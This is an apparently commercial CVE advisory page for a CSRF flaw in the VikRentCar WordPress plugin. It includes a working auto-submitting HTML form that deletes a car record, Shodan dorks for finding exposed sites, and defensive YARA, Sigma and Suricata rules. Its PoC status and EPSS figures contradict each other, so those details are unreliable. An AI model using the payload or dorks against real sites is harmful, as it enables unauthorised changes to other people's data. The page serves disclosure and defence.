☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Vikrentcar logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1845

CVE-2024-1845 Cross-Site Request Forgery in Vikrentcar
📅 PUBLISHED: 2024-07-11 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Italy License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1845 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the VikRentCar Car Rental Management System WordPress plugin, affecting versions prior to 1.3.2. This flaw allows an attacker to trick a logged-in administrator into performing unintended actions, such as modifying plugin settings or deleting data, without their consent. The vulnerability stems from missing CSRF nonce validation in several administrative functions. Given the WordPress ecosystem, this issue is particularly dangerous as it can be chained with other vulnerabilities (e.g., stored XSS) to achieve privilege escalation or data exfiltration. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update by checking the plugin’s checksum or signature if available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must be logged in and perform an action)
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated due to the prevalence of WordPress and the potential for chaining with other vulnerabilities.

Deep Dive & Mechanics

The VikRentCar plugin provides a car rental booking system for WordPress sites. The vulnerability exists because several administrative actions (e.g., saving settings, deleting records) do not include a CSRF nonce token. A CSRF attack works as follows:

  1. Attacker crafts a malicious request – The attacker creates a specially crafted URL or form that performs a sensitive action on the target WordPress site (e.g., changing the plugin’s payment gateway settings).
  2. Victim is tricked – The attacker lures a logged-in administrator to click a link or visit a malicious page (e.g., via phishing email or a compromised third-party site).
  3. Request is executed – The victim’s browser automatically sends the forged request to the WordPress site, including the victim’s session cookies.
  4. Action is performed – The plugin processes the request without verifying its origin, leading to unauthorized changes.

The lack of CSRF protection means that any action that should require explicit user consent can be performed silently.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.3.2): In the vulnerable version, administrative functions like save_settings() or delete_car() do not call check_admin_referer() or wp_verify_nonce().

// Vulnerable: No CSRF check
function save_settings() {
    update_option('vikrentcar_payment_gateway', $_POST['gateway']);
    // ...
}

Patched Code (1.3.2+): The patched version adds a nonce check before processing sensitive actions.

// Patched: CSRF nonce verification
function save_settings() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'vikrentcar_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option('vikrentcar_payment_gateway', $_POST['gateway']);
    // ...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code is available, a manual CSRF attack can be demonstrated:

  1. Identify a vulnerable endpoint – For example, the endpoint that deletes a car record: /wp-admin/admin.php?page=vikrentcar&task=delete_car&id=123.
  2. Craft a CSRF payload – Create an HTML page that automatically submits a form to this endpoint.
<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=vikrentcar&task=delete_car" method="POST">
    <input type="hidden" name="id" value="123">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Deliver the payload – Host the HTML on an attacker-controlled server and send the link to a logged-in admin via email or social engineering.

Blue Team (Defense & Detection)

  • Monitor for unusual admin actions – Look for sudden changes to plugin settings or mass deletions of records.
  • Implement CSRF tokens – Ensure all forms and AJAX requests include a nonce.
  • Use SameSite cookies – Set cookies to SameSite=Lax or Strict to prevent cross-site requests.
  • Educate users – Train administrators to avoid clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Unusual POST requests to /wp-admin/admin.php?page=vikrentcar with unexpected parameters.
    • Referer headers from external domains (e.g., attacker-controlled sites).
  • Host IOCs:
    • Unexpected changes to the wp_options table (e.g., vikrentcar_payment_gateway).
    • Log entries showing admin actions without corresponding nonce verification.
  • File IOCs:
    • Modified plugin files (e.g., vikrentcar/admin/class-vikrentcar-admin.php) without proper nonce checks.

Detection Engineering

YARA Rule

rule Detect_VikRentCar_CSRF_Vulnerability {
    meta:
        description = "Detects missing CSRF nonce in VikRentCar plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1845"
    strings:
        $func1 = "function save_settings" nocase
        $func2 = "function delete_car" nocase
        $func3 = "function update_option" nocase
        $nonce = "check_admin_referer" nocase
    condition:
        ($func1 or $func2) and $func3 and not $nonce
}

Sigma Rule

title: Potential CSRF Attack on VikRentCar Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to VikRentCar admin endpoints without proper referer
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=vikrentcar'
    filter:
        cs-referer|contains: 'target-site.com'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from within the site
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1845 - Potential CSRF Attack on VikRentCar Plugin";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin.php";
    http.uri; content:"page=vikrentcar";
    http.referer; content:!"target-site.com";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Action: Update the VikRentCar plugin to version 1.3.2 or later.
  2. Workaround: If immediate update is not possible, implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin.php?page=vikrentcar without a valid referer.
  3. Long-term: Ensure all WordPress plugins and themes are kept up to date. Conduct regular security audits of custom code.
  4. Monitoring: Enable logging for all admin actions and review logs for suspicious activity.

Valters IT – Securing digital ecosystems with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/vikrentcar"
http.html:"VikRentCar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1845/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.